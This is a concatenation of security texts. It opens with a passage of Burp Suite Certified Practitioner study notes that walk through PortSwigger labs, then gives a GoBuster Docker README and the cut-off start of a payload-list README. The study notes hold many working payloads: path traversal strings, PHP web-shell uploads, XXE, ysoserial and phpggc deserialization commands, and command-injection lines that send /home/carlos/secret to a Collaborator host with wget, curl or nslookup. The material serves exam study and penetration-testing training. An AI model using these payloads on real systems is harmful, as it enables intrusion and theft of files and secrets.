Attacks](#lfi-attacks) [Admin Portal Files](#admin-portal-files) [Path Traversal Authz](#path-traversal-authz) ### LFI attacks >[Rana Khalil Directory traversal training](https://youtu.be/XhieEh9BlGc) demo show the attacks that allow the malicious actor to read file on the server. >***Identify*** web parameters such as `filename=` that are requesting files from target. 1. Application blocks traversal sequences but treats the supplied filename as being relative to a absolute path and can be exploit with ```/etc/passwd```absolute path to target file payload. 2. Images on target is loaded using ```filename``` parameter, and is defending against traversal attacks by stripping path traversal. Exploit using ```....//....//....//....//etc/passwd``` payloads. 3. Superfluous URL-encoded ```..%252f..%252f..%252fetc/passwd``` payload can bypass application security controls. 4. Leading the beginning of the filename referenced with the original path and then appending ```/var/www/images/../../../etc/passwd``` payload at end bypasses the protection. 5. Using a **null** byte character at end plus an image extension to fool APP controls that an image is requested, this ```../../../etc/passwd%00.png``` payload succeed. 6. Double URL encode file path traversal, as example this `../../../../../../../../../../etc/hostname` will be URL double encoded as, `%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fhostname`. 7. Windows OS accept both `../` and `..\` for directory traversal syntax, and as example retrieving `loadImage?filename=..\..\..\windows\win.ini` on windows target to ***identify*** valid path traversal. 8. [PHP Wrapper, expect & filter](https://github.com/botesjuan/cpts-quick-references/blob/main/module/File%20Inclusions.md#remote-code-execution) pose vulnerability that allow traversal bypass to result in remote code execution (RCE) critical. Using [PHP filter chain generator](https://github.com/synacktiv/php_filter_chain_generator) to get your RCE without uploading a file if you control entirely the parameter passed to a require or an include in PHP! See [Tib3rius YouTube demo](https://youtu.be/OGjpTT6xiFI?t=1019) ```python php_filter_chain.generator.py --chain '<?=`$_GET[0]`; ?>' | tail -n 1 | urlencode``` >Corresponding PortSwigger Directory traversal labs. 1. [PortSwigger Lab: File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass) 2. [PortSwigger Lab: File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively) 3. [PortSwigger Lab: File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode) 4. [PortSwigger Lab: File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path) 5. [PortSwigger Lab: File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass) ![file-path-traversal-null-byte.png](images/file-path-traversal-null-byte.png) >BSCP Exam challenge ***identified***, after obtaining admin session access, you can read `/etc/passwd` and `/etc/hostname` but as soon using same bypass file path traversal technique, the `home/carlos/secret` give response `403 Forbidden`. ### Admin Portal Files >On the admin portal ***identify*** that the images are loaded using **imagefile=** parameter. Test if vulnerable to directory traversal. The imagefile parameter is vulnerable to directory traversal path attacks, enabling read access to arbitrary files on the server. ```html GET /admin_controls/metrics/admin-image?imagefile=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd ``` >Note: Add the fuzzing path traversal payload from drop-down list option, ***Add from list ...***. Then set processing rule on the provided payload to replace the FILE place holder with reg-ex ```\{FILE\}``` for each of the attacks. ![payloads for path traverse](images/payloads-for-path-traverse.png) >Burp Intruder provides a predefined payload list, as example **"Fuzzing - path traversal"**. [PortSwigger Academy File-path-traversal](https://portswigger.net/web-security/file-path-traversal) [403bypasser](https://www.geeksforgeeks.org/403bypasser-bypass-403-restricted-directory/) ``` python3 403bypasser.py -u https://TARGET.net -d /secret ``` ### Path Traversal Authz >Adding Headers in request with value `127.0.0.1` or `localhost` can also help in bypassing restrictions. ```html X-Custom-IP-Authorization: 127.0.0.1 X-Forwarded-For: localhost X-Forward-For: localhost X-Remote-IP: localhost X-Client-IP: localhost X-Real-IP: localhost X-Originating-IP: 127.0.0.1 X-Forwarded: 127.0.0.1 Forwarded-For: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-ProxyUser-Ip: 127.0.0.1 X-Original-URL: 127.0.0.1 Client-IP: 127.0.0.1 True-Client-IP: 127.0.0.1 Cluster-Client-IP: 127.0.0.1 X-ProxyUser-Ip: 127.0.0.1 ``` [HackTricks Bypass 403 Forbidden paths](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses) ----- ## File Uploads [Bypass Upload Controls](#bypass-upload-controls) [XXE via SVG Image upload](#xxe-via-svg-image-upload) [Remote File Inclusion](#remote-file-inclusion) [XSS SVG Upload](#xss-svg-upload) [Race Condition Web shell upload](#race-condition-web-shell-upload) [HackTheBox CPTS File Uploads](https://github.com/botesjuan/cpts-quick-references/blob/main/module/File%20Upload%20Attacks.md) ### Bypass Upload Controls >A vulnerable image upload function or avatar logo upload, can by exploited and security controls bypassed to upload content to extract sensitive data or execute code server side. >***Identify*** any type of file upload function. ![Identify file upload](images/file-upload.png) >The PHP `source code` of the exploit.php file below will read the `/home/carlos/secret` sensitive information. ```php <?php echo file_get_contents('/home/carlos/secret'); ?> ``` >File upload vulnerabilities bypass techniques: 1. Upload the file name and include obfuscated path traversal `..%2fexploit.php` and retrieve the content `GET /files/avatars/..%2fexploit.php`. 2. Upload a file named, `exploit.php%00.jpg` with trailing null byte character and get the file execution at `/files/avatars/exploit.php`. 3. Create **polygot** using valid image file, by running the command in bash terminal: `exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" ./stickman.png -o polyglot2023.php`. Once polygot is uploaded, view the extracted data by issuing a GET request to the uploaded path `/files/avatars/polyglot.php` , and search the response content for the phrase `START` to obtain the sensitive data. 4. Upload two different files. First upload `.htaccess` with Content-Type: `text/plain`, and the file data value set to `AddType application/x-httpd-php .l33t`. This will allow the upload and execute of second file upload named, `exploit.l33t` with extension `l33t`. 5. MIME type `image/jpeg` or `image/png` is only allowed. Bypass the filter by specifying `Content-Type` to value of `image/jpeg` and then uploading `exploit.php` file. 6. If target allow [Remote File Include](#remote-file-inclusion) (RFI), upload from remote URL, then host and exploit file with the following GIF magic bytes: `GIF89a; <?php echo file_get_contents('/home/carlos/secret'); ?>`. The file name on exploit server could read `image.php%00.gif`. >Matching file upload vulnerable labs: 1. [PortSwigger Lab: Web shell upload via path traversal](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal) 2. [PortSwigger Lab: Web shell upload via obfuscated file extension](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension) 3. [PortSwigger Lab: Remote code execution via polyglot web shell upload](https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload) 4. [PortSwigger Lab: Web shell upload via extension blacklist bypass](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass) 5. [PortSwigger Lab: Web shell upload via Content-Type restriction bypass](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass) ![File upload stages](images/file-upload-stages.png) >This [intigriti walkthrough](https://youtu.be/QHhn0-ermck) great explanation of file upload lab. ### XXE via SVG Image upload >***Identify*** image upload on the blog post function that accept **svg** images, and observe that the avatars already on blog `source code` is **svg** extensions. >The content of the image.svg file uploaded: ```svg <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///home/carlos/secret" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> ``` ![xxe svg upload file](images/xxe-svg-upload.png) [PortSwigger Lab: Exploiting XXE via image file upload](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload) ### Remote File Inclusion >RFI function on target allow the upload of image from remote HTTPS URL source and perform to validation checks, the source URL must be ```HTTPS``` and the file **extension** is checked, but the MIME content type or file content is maybe not validated. Incorrect RFI result in response message, `File must be either a jpg or png`. >Methods to bypass extension validation: 1. Extension with varied capitalization, such as .```sVG``` 2. Double extension, such as ```.jpg.svg``` or ```.svg.jpg``` 3. Extension with a delimiter, such as ```%0a, %09, %0d, %00, #```. Other examples, ```file.png%00.svg``` or ```file.png\x0d\x0a.svg``` 4. Empty filename, ```.svg``` 5. Try to cut allowed extension with more than the maximum filename length. >Below scenario could be exploited using [SSRF](#ssrf---server-side-request-forgery) or RFI. Did not solve this challenge..... ``` POST /admin-panel/admin-img-file Host: TARGET.net Cookie: session=AdminCookieTokenValue Referer: https://TARGET.net/admin-panel csrf=u4r8fg90d7b09j4mm6k67m3&fileurl=https://EXPLOIT.net/image.sVg ``` ``` POST /admin-panel/admin-img-file Host: TARGET.net Cookie: session=AdminCookieTokenValue Referer: https://TARGET.net/admin-panel csrf=u4r8fg90d7b09j4mm6k67m3&fileurl=http://localhost:6566/ ``` ![RFI function](images/RFI-function.png) >I am missing some key info and need to ***identify*** PortSwigger research about RFI. ### XSS SVG Upload >Uploading of SVG file that contains JavaScript that performs cross site scripting attack. ```xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <rect width="300" height="100" style="fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)" /> <script type="text/javascript"> alert("XSS!"); </script> </svg> ``` ### Race Condition Web shell upload >Image upload function ***identified*** on profile page. >White box penetration test scenario, the vulnerable ***source code*** that introduces this race condition is supplied by the client for the target: ```php <?php $target_dir = "avatars/"; $target_file = $target_dir . $_FILES["avatar"]["name"]; // temporary move move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file); if (checkViruses($target_file) && checkFileType($target_file)) { echo "The file ". htmlspecialchars( $target_file). " has been uploaded."; } else { unlink($target_file); echo "Sorry, there was an error uploading your file."; http_response_code(403); } function checkViruses($fileName) { // checking for viruses ... } function checkFileType($fileName) { $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION)); if($imageFileType != "jpg" && $imageFileType != "png") { echo "Sorry, only JPG & PNG files are allowed\n"; return false; } else { return true; } } ?> ``` >The uploaded file is moved to an accessible folder, where it is checked for viruses. Malicious files are only removed once the virus check is complete. >PHP Payload to read the secret data `<?php echo file_get_contents('/home/carlos/secret'); ?>` >Right-click on the failed upload `POST /my-account/avatar` request that was used to submit the PHP Payload file upload and select ***Extensions > Turbo Intruder > Send to turbo intruder.*** >The Turbo Intruder window opens. Copy and paste the following race condition inducing script template into Turbo Intruder's Python editor: ![race-condition-turbo-intruder](images/race-condition-turbo-intruder.png) >Race script template into Turbo Intruder's Python editor: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) request1 = '''<YOUR-POST-REQUEST POST /my-account/avatar HTTP/2 filename="read-secret.php"''' request2 = '''<YOUR-GET-REQUEST> GET /files/avatars/read-secret.php HTTP/2''' # the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` >results list, notice that some of the GET requests received a 200 response containing Carlos's secret. ![race-condition-read-secret.png](images/race-condition-read-secret.png) [PortSwigger Lab: Web shell upload via race condition](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition) ----- ## Deserialization [CustomTemplate PHP](#customtemplate-php) [Burp Deserialization Scanner](#burp-deserialization-scanner) [YsoSerial](#ysoserial) [SHA1 HMAC Symfony](#sha1-hmac-symfony) ### CustomTemplate PHP >Reading page `source code` and noticing comment mentioning **<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->**, this ***identify*** possible PHP framework and the Burp scanner ***identify*** serialized session cookie object after we logged in with stolen ```wiener:peter``` credentials. ![info-disclose](images/info-disclose.png) >Reviewing PHP `source code` by adding tilde ***~*** character at end of GET request ```https://target.net/libs/CustomTemplate.php~```, we notice the **destruct** method. ![comments-in-source-code](images/comments-in-source-code.png) >Original Decoded cookie ``` O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bi0egmdu49lnl9h2gxoj3at4sh3ifh9x";} ``` >Make new PHP serial CustomTemplate object with the **lock_file_path** attribute set to **/home/carlos/morale.txt**. Make sure to use the correct data type labels and length indicators. The 's' indicate string and the length. ``` O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";} ``` ![modify-serial-cookie](images/modify-serial-cookie.png) [PortSwigger Lab: Arbitrary object injection in PHP](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php) ### Burp Deserialization Scanner >Intercept the admin panel page in the Burp Practice Exam, and ***identify*** the serial value of the cookie named `admin-prefs`. This challenge is from the [PortSwigger Practice Exam APP](https://portswigger.net/web-security/certification/takepracticeexam/index.html). ![Admin prefs serial cookie](images/admin-prefs-serial-cookie.png) >Use below payload in the Deserialization scanner exploiting Java jar ysoserial command, to obtain remote code execution (RCE) when payload de-serialized on target. ``` CommonsCollections3 'wget http://Collaborator.net --post-file=/home/carlos/secret' ``` >Image below is from the Practice exam, I have some issues with my setup as the old version of java is needed when running `ysoserial` in bash terminal, and the Burp Suite Pro app need `sudo` to save the config of the extension. ![ysoserial rce](images/ysoserial-rce.png) >Burp Deserialization Scanner configuration when running burp as sudo, leaving the java path to `java` and the ysoserial path to ``. My scanner detect the java deserialization in the burp issue list but not when i run it manual??? ![Deserialization scanner config setup](images/Deserialization-scanner-config.png) ### YsoSerial >Below is ysoserial command line execution to generate base64 encoded serialized cookie object containing payload. >**IMPORTANT:** If you get error message when executing ```java -jar ysoserial <Payload>``` saying something in lines of ***java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets***, the switch to alternative Java on Linux with following commands. ```bash java --version update-java-alternatives --list sudo update-java-alternatives --set /usr/lib/jvm/java-1.11.0-openjdk-amd64 java --version ``` ![Switch Java version](images/switch-java-version.png) >Now execute ```ysoserial``` to generate base64 payload, using Java version 11. Replace session cookie with generated base64 payload and URL encode only the key characters before sending request. ```bash java -jar /opt/ysoserial/ysoserial.jar CommonsCollections4 'wget http://Collaborator.net --post-file=/home/carlos/secret' | base64 -w 0 ``` ![ysoserial Command](images/ysoserial-command.png) [PortSwigger Lab: Exploiting Java deserialization with Apache Commons](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons) ### SHA1 HMAC Symfony >***Identify*** that the cookie contains a Base64-encoded token, signed with a SHA-1 HMAC hash. On the home page we discover a developer comment to debug info for ```/cgi-bin/phpinfo.php```, revealing the digital signature to sign new token. Sending invalid cookie session value the error reveals, `Symfony Version: 4.3.6`. >**Note:** In BSCP exam not going to run this as it delete the file, but in exam read `source code` to ***identify*** the ```unserialize()``` PHP function and extract content out-of-band using ```PHPGGC```. >Exploit steps to perform a PHP deserialization with a pre-built gadget chain. 1. Request the ```/cgi-bin/phpinfo.php``` file to find the leaked ```SECRET_KEY``` information about the website. 2. Generate a Base64-encoded serialized object that exploits an RCE gadget chain in Symfony ```phpggc Symfony/RCE4 exec 'wget http://Collaborator.com --post-file=/home/carlos/secret' | base64 -w 0```. 3. Construct a valid cookie containing this malicious object and sign it correctly using the secret key you obtained. ```php <?php $object = "OBJECT-GENERATED-BY-PHPGGC"; $secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP"; $cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}'); echo $cookie; ``` 4. Execute the php code in terminal, ```php Symfony_insecure_deserial_php.php``` to obtain signed cookie. ![Symfony phpggc gadget deserial](images/symphony-phpgcc.png) >Replace cookie value and send request to get remote code execution (RCE) when cookie is deserialised server side. Ignore the server response ```HTTP/2 500 Internal Server Error```, check the collaborator if data was received. [PortSwigger Lab: Exploiting PHP deserialization with a pre-built gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain) ----- ## OS Command Injection + [Feedback](#feedback) + [Output redirection](#output-redirection) + [HackTheBox Academy CPTS OS Command Injection](https://github.com/botesjuan/cpts-quick-references/blob/main/module/command%20injection.md) ### Feedback >Use following command separation characters to ***identify*** Operating System Command injection vulnerabilities. ``` && & || | ; ` ' " 0x0a \n ``` >The target application **submit feedback** function require email value, and ***identifying*** blind OS command injection by appending ```||curl COLLABORATOR.net||``` bash command, we then can observe a request made to Collaborator. ```bash [email protected]||curl+`whoami`.COLLABORATOR.net|| ``` >The below payload use DNS exfiltration and the Burp Collaborator DNS service. ``` ||$(curl $(cat /home/carlos/secret).COLLABORATOR.com)|| ``` >In this YouTube video [Leet Cipher](https://youtu.be/o7oVWXw4t5E) show how to use DNS rebinding with blind command injection to exfiltration the contents of `passwd` from the target by first uploading bash script that Base64 and then Base58 encode the `passwd` file content, to strip special character not able to ex-filtrate with DNS label restrictions. ![OS command injection](images/os-command-inject.png) [leetCipher Github scripts for Blind OS DNS exfiltrate](https://github.com/leetCipher/bug-bounty-labs/tree/main/dns-exfiltration-lab/poc) >PortSwigger Lab payload perform a DNS lookup using `nslookup` as a Burp Collaborator subdomain. ``` [email protected]||nslookup+`whoami`.COLLABORATOR.NET|| ``` [PortSwigger Lab: Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration) ### Output redirection >If OS command injection ***identified***, and filter in place preventing complex command injection, attempt to redirect output to writable folder. ***Identify*** a [path traversal](#file-path-traversal) vulnerability that allow reading of files only in current WEB APP. >***Identify*** the working directory using `pwd` command output redirected, and appending to `output.txt` file every bash command stdout. ``` ||pwd>output.txt|| ||echo>>output.txt|| ||cat+/etc/hosts>>/var/www/images/output.txt|| ||echo>>output.txt|| ||ls+-al>>/var/www/images/output.txt|| ||echo>>output.txt|| ||whoami>>/var/www/images/output.txt|| ``` >Use working directory discovered using above `pwd` command to redirect output and read content. ![os CMD path traversal lfi](images/os-cmd-path-traversal-lfi.png) >Get output file content. ``` GET /image?filename=output.txt HTTP/2 ``` [PortSwigger Lab: Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection) ----- # Appendix >This section contain **additional** information to solving the PortSwigger labs and approaching the BSCP exam, such as the Youtube content creators, Burp speed scanning technique, python scripts and [Obfuscation](#obfuscation) techniques to bypass filters. [Obfuscation](#obfuscation) [Python Scripts](#python-scripts) [Focus Scanning](#focus-scanning) [Approach](#approach) [YouTube & Extra Training Content](#extra-training-content) [Convert epoch time to milliseconds from human readable may be in exam](https://www.epochconverter.com/) ## Obfuscation >Obfuscation is the action of making something obscure, unclear, or unintelligible. >URL and Base64 online encoders and decoders. + [URL Decode and Encode](https://www.urldecoder.org/) + [BASE64 Decode and Encode](https://www.base64encode.org/) >URL replacing the period character ```.``` with encoded value of ```%2e```. >Double-encode the injecting payload. ``` /?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E ``` >HTML encode one or more of the characters. In video by [z3nsh3ll: Payload obfuscation with HTML encoding](https://youtu.be/-4ia_L-uLGY) he explain post analysis of the lab Stored XSS into `onclick` event. ```html <img src=x onerror="&#x61;lert(1)"> ``` >XML encode for bypassing WAFs ```xml <stockCheck> <productId> 123 </productId> <storeId> 999 &#x53;ELECT * FROM information_schema.tables </storeId> </stockCheck> ``` >Multiple encodings together ```html <a href="javascript:&bsol;u0061lert(1)">Click me</a> ``` >SQL CHAR ```sql CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84) ``` [Obfuscating attacks using encodings](https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings) ## Python Scripts >Python script to ***[identify](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/tree/main/python/identify)*** vulnerabilities in the exam and provide indicators of exploits. [Python Script to ***identify*** possible vulnerabilities in headers, cookies or the response body](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/tree/main/python/identify) [Lab Automated Python Scripts](python/README.md) [Automate the solving of the labs using python scripts](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/tree/main/python) ## Focus Scanning >Due to the tight time limit during engagements or exam, [scan defined insertion points](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing) for specific requests. ![scan-defined-insertion-points](images/scan-defined-insertion-points.png) >Scanner detected **XML injection** vulnerability on storeId parameter and this lead to reading the secret Carlos file. ```xml <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo> ``` >Out of band XInclude request, need hosted DTD to read local file. ```xml <hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://COLLABORATOR.NET/foo"/></hqt> ``` [PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-discovering-vulnerabilities-quickly-with-targeted-scanning) ## Approach >Tips from [Daniel Redfern](https://youtu.be/Lbn8zQJByGY?t=551) is best I have come access explaining fundamental mechanics in BSCP exam, especially Tip 7, only one active user per application and if you reach stage 2 and you did not use interactive exploit in stage 1 that required the **Deliver to Victim** function of the exploit server, then use an interactive exploit on stage 2 to reach admin user role. >When stuck in BSCP exam, reference the below [Micah van Deusen blog tip 5 table of category to stages](https://micahvandeusen.com/burp-suite-certified-practitioner-exam-review/) for ways to progress through the stages. ![MicahVanDeusens-blog](images/MicahVanDeusens-blog.png) ### Identified >The image below is my view of possible vulnerabilities ***identified*** and exploitation to reach the next BSCP exam stage and progress through the exam challenges. >I have managed solve the challenges in green using the [PortSwigger Academy Labs](https://portswigger.net/web-security/all-labs), but we never stop learning...... <a href="https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/tree/main/extras" target="_blank"><img src="https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/images/3stages.png" alt="Passed BSCP Exam Stages" style="height: 230px !important;width: 810px !important;" ></a> ## Extra Training Content >Some great links to YouTube content creators training material and links to study stuff. - [My YouTube BSCP Study Playlist](https://youtube.com/playlist?list=PLsDxQTEdg_YkVMP6PybE7I-hAdhR7adem) - [Cookies, Sessions, JSON Web Tokens (JWT) Explained](https://youtu.be/uXDnS5PcjCA) Youtube Information Security content creators channels (***in no particular order***): 1. [Rana Khalil](https://www.youtube.com/@RanaKhalil101/videos) 2. [TJCHacking](https://www.youtube.com/@tjchacking/videos) 3. [intigriti](https://www.youtube.com/@intigriti/videos) 4. [Seven Seas Security](https://www.youtube.com/@7SeasSecurity/videos) 5. [z3nsh3ll](https://www.youtube.com/@z3nsh3ll/videos) 6. [Tib3rius](https://www.youtube.com/@Tib3rius/videos) 7. [John Hammond](https://www.youtube.com/@_JohnHammond/videos) 8. [TraceTheCode](https://www.youtube.com/@TraceTheCode/videos) 9. [The Cyber Mentor](https://www.youtube.com/@TCMSecurityAcademy/videos) 10. [Sabyasachi Paul](https://www.youtube.com/@h0tPlug1n/videos) 11. [bmdyy](https://www.youtube.com/@bmdyy/videos) 12. [CyberSecurityTV](https://www.youtube.com/@CyberSecurityTV/videos) 13. [nu11 security](https://www.youtube.com/@Nul1Secur1ty/videos) 14. [PortSwigger](https://www.youtube.com/@PortSwiggerTV/videos) 15. [IppSec](https://www.youtube.com/@ippsec/videos) 16. [Daniel Redfern](https://www.youtube.com/@danielredfern9827/videos) 17. [LiveUnderflow](https://www.youtube.com/@LiveUnderflow/videos) 18. [JSONSEC](https://www.youtube.com/@JSONSEC/videos) 19. [thehackerish](https://www.youtube.com/@thehackerish/videos) 20. [David Bombal](https://www.youtube.com/@davidbombal/videos) ## Footnote >**Perseverance:** is Persistence in doing something despite difficulty or delay in achieving success. >The **OSCP** certification taught me to [#TryHarder and joining the HackSouth Discord family](https://discord.gg/hacksouth) gave me the foundation penetration testing skills. >The **BSCP** exam gave me the next level of web application security analyst knowledge. >I hope my notes offer other Information Security Students some guidance and walkthrough tips. ## Burp Exam Results >The Burp Suite Certified Practitioner exam is a challenging practical examination designed to demonstrate your web security testing knowledge and Burp Suite Professional skills. >My tip when preparing, is to understand the academy labs. Extra work is required as the labs do not always provide the identification of the vulnerability step. >In my study notes I document the lab guides from the official PortSwigger academy to make sure I know how to identify the vulnerability, use it in different scenarios and make payloads that show the impact when exploiting the vulnerability. As example crafting a XSS cookie stealer payload instead of just calling the `print` function. >The BSCP qualification on my resume demonstrate a deep knowledge of the latest vulnerability classes and how to exploit Web Applications, proving my hacking ability to employers and the community. <br><br><a href="https://www.buymeacoffee.com/botesjuan" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a> [My Burp Suite Certified Practitioner certificate.](https://portswigger.net/web-security/e/c/6e42f5738e5b9bf8?utm_source=office&utm_medium=email&utm_campaign=burp-prac-cert-pass-success)
# GoBuster ## Official Documentation Reference: https://github.com/OJ/gobuster ## Description Gobuster is a tool used to brute-force: - URIs (directories and files) in web sites. - DNS subdomains (with wildcard support). - Virtual Host names on target web servers. - Open Amazon S3 buckets ## Usage ### dns Mode ``` Usage: docker run -it --rm secsi/gobuster dns [flags] Flags: -d, --domain string The target domain -h, --help help for dns -r, --resolver string Use custom DNS server (format server.com or server.com:port) -c, --show-cname Show CNAME records (cannot be used with '-i' option) -i, --show-ips Show IP addresses --timeout duration DNS resolver timeout (default 1s) --wildcard Force continued operation when wildcard found Global Flags: -z, --no-progress Don't display progress -o, --output string Output file to write results to (defaults to stdout) -q, --quiet Don't print the banner and other noise -t, --threads int Number of concurrent threads (default 10) --delay duration Time each thread waits between requests (e.g. 1500ms) -v, --verbose Verbose output (errors) -w, --wordlist string Path to the wordlist ``` ### dir Mode ``` Usage: docker run -it --rm secsi/gobuster dir [flags] Flags: -f, --add-slash Append / to each request -c, --cookies string Cookies to use for the requests -e, --expanded Expanded mode, print full URLs -x, --extensions string File extension(s) to search for -r, --follow-redirect Follow redirects -H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2' -h, --help help for dir -l, --include-length Include the length of the body in the output -k, --no-tls-validation Skip TLS certificate verification -n, --no-status Don't print status codes -P, --password string Password for Basic Auth -p, --proxy string Proxy to use for requests [http(s)://host:port] -s, --status-codes string Positive status codes (will be overwritten with status-codes-blacklist if set) -b, --status-codes-blacklist string Negative status codes (will override status-codes if set) --timeout duration HTTP Timeout (default 10s) -u, --url string The target URL -a, --useragent string Set the User-Agent string (default "gobuster/3.1.0") -U, --username string Username for Basic Auth -d, --discover-backup Upon finding a file search for backup files --wildcard Force continued operation when wildcard found Global Flags: -z, --no-progress Don't display progress -o, --output string Output file to write results to (defaults to stdout) -q, --quiet Don't print the banner and other noise -t, --threads int Number of concurrent threads (default 10) --delay duration Time each thread waits between requests (e.g. 1500ms) -v, --verbose Verbose output (errors) -w, --wordlist string Path to the wordlist ``` ### vhost Mode ``` Usage: docker run -it --rm secsi/gobuster vhost [flags] Flags: -c, --cookies string Cookies to use for the requests -r, --follow-redirect Follow redirects -H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2' -h, --help help for vhost -k, --no-tls-validation Skip TLS certificate verification -P, --password string Password for Basic Auth -p, --proxy string Proxy to use for requests [http(s)://host:port] --timeout duration HTTP Timeout (default 10s) -u, --url string The target URL -a, --useragent string Set the User-Agent string (default "gobuster/3.1.0") -U, --username string Username for Basic Auth Global Flags: -z, --no-progress Don't display progress -o, --output string Output file to write results to (defaults to stdout) -q, --quiet Don't print the banner and other noise -t, --threads int Number of concurrent threads (default 10) --delay duration Time each thread waits between requests (e.g. 1500ms) -v, --verbose Verbose output (errors) -w, --wordlist string Path to the wordlist ``` ## 🐳 RAUDI: Regularly and Automatically Updated Docker Images Hello, friend. This Docker Image has been created by RAUDI. What is RAUDI? **RAUDI** (Regularly and Automatically Updated Docker Images) automatically generates and keep updated a series of *Docker Images* through *GitHub Actions* for tools that are not provided by the developers. **RAUDI** is what will save you from creating and managing a lot of Docker Images manually. Every time a software is updated you need to update the Docker Image if you want to use the latest features, the dependencies are not working anymore. This is messy and time-consuming. Don't worry anymore, we got you covered. If you want to contribute, give us a star or take a quick look at the source code of **RAUDI** click [here](https://github.com/cybersecsi/RAUDI).
# Payloads All The Things A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques ! I <3 pull requests :) You can also contribute with a beer IRL or with `buymeacoffee.com` [![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoff.ee/muhammd) Every section contains the following files, you can use the `_template_vuln` folder to create a new chapter: - README.md - vulnerability description and how to exploit it - Intruder - a set of files to give to Burp Intruder - Images - pictures for the README.md - Files - some files referenced in the README.md You might also like : - [Methodology and Resources](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/) - [Active Directory Attack.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) - [Linux - Persistence.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md) - [Linux - Privilege 